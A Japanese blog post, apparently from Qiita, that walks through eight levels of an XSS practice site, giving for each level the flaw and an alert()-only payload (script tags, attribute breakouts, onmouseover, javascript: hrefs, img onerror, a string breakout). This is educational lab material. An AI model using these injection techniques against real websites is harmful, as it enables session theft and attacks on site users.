3
2

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 5 years have passed since last update.

xsssample writeup

Last updated at Posted at 2018-08-10

xsssample writeup

http://bogus.jp/xsssample/
の wirteup です。
XSSを利用し、js の alert() を呼び出してブラウザにアラートを表示させられればok。

XSS sample Level 1

投稿した内容がエスケープされずに直接表示されている模様。
以下を投稿すればok。

<script>alert('XSS!')</script>

XSS sample Level 2

投稿した値が、input タグの value 属性の値としてエスケープされずに埋め込まれている模様。
そこで、username に以下を投稿する。

"><script>alert('XSS!')</script><img src="http://hoge

こうすることで、投稿後の input タグは以下のようになって、XSSに成功する。

<input name="user" maxlength="10" type="text" value=""><script>alert('XSS!');</script><img src="http://hoge">

XSS sample Level 3

Level 2 との違いは、input に文字制限が設定されていること。
form タグの内容を見ると、投稿された内容は GET リクエストで自身のurlに帰ってくることがわかる。
そこで、文字数制限を回避するために、formから文字列を投稿するのではなく直接GETのurlを叩く。

http://bogus.jp/xsssample/xsssample_03_J4Skr.php?user="><script>alert('XSS!');</script>

XSS sample Level 4

この問題では input タグの value に scipt タグを書き込もうとしても、以下のようにちゃんとエスケープされてしまう。

<input name="user" type="text" value="" &gt;&lt;script&gt;alert('xss!')&lt;="" script&gt;"="">

ということでこの問題では、 script タグではなく onmouseover 属性にスクリプトを仕込む。
以下の内容を username に投稿する。

" onmouseover="alert('XSS!');

すると、投稿後の input タグは以下のようになり、XSSが成功する。

<input name="user" maxlength="10" type="text" value="" onmouseover="alert('XSS!');">

ちなみに、 Chrome だと XSS が検知されてページがブロックされてしまう。
FireFox で試したら無事表示できた。

XSS sample Level 5

文字数制限のあるフォームが与えられる。
投稿した文字列は POST で送信され、エスケープされずにそのまま表示される。
したがって、 POSTでスクリプトタグを含む文字列を送信すればいいが、文字数制限があるのでこのままではフォームからは投稿できない。

今回は、 Chrome の Elements タブで input タグを編集して文字数制限を外した上で、スクリプトタグの文字列を投稿した。

<script>alert('XSS!');</script>

XSS sample Level 6

参考: HTML a href Attribute

フォームに投稿した文字列が a タグの href の内容となる問題。ただし、ダブルクオートはちゃんとエスケープされてしまうので、 "><script>... などを投稿してもムリ。

href の値には、 url 以外にも mailto:... ftp:... file:... javascript:... などを設定することができる。 javascript:... とすると、クリック時にスクリプトを実行させることができる。

したがって今回は、以下の内容を登録すればいい。

javascript:alert('XSS!');

XSS sample Level 7

どうやら、 script タグを含む文字列を投稿されると script タグを取り除くような処理が行われている模様。しかし、 script タグ以外を投稿するとエスケープされずに表示されるので、 script タグを使わずに XSS する。これにはいろいろな方法がある。以下は img タグの onerror 属性を使う場合の例。

<img src="" onerror="alert('XSS!');">

XSS sample Level 8

フォームを通して script タグ内に書き込むことができる。

<script>
function hello(){
document.write ('<ここにフォームで投稿した内容が来る>'+"さん");
}
</script>

特にエスケープ処理はされていないようなので、以下の内容を投稿すればok。

' + alert('XSS!'));//

参考リンク

3
2
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
3
2

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?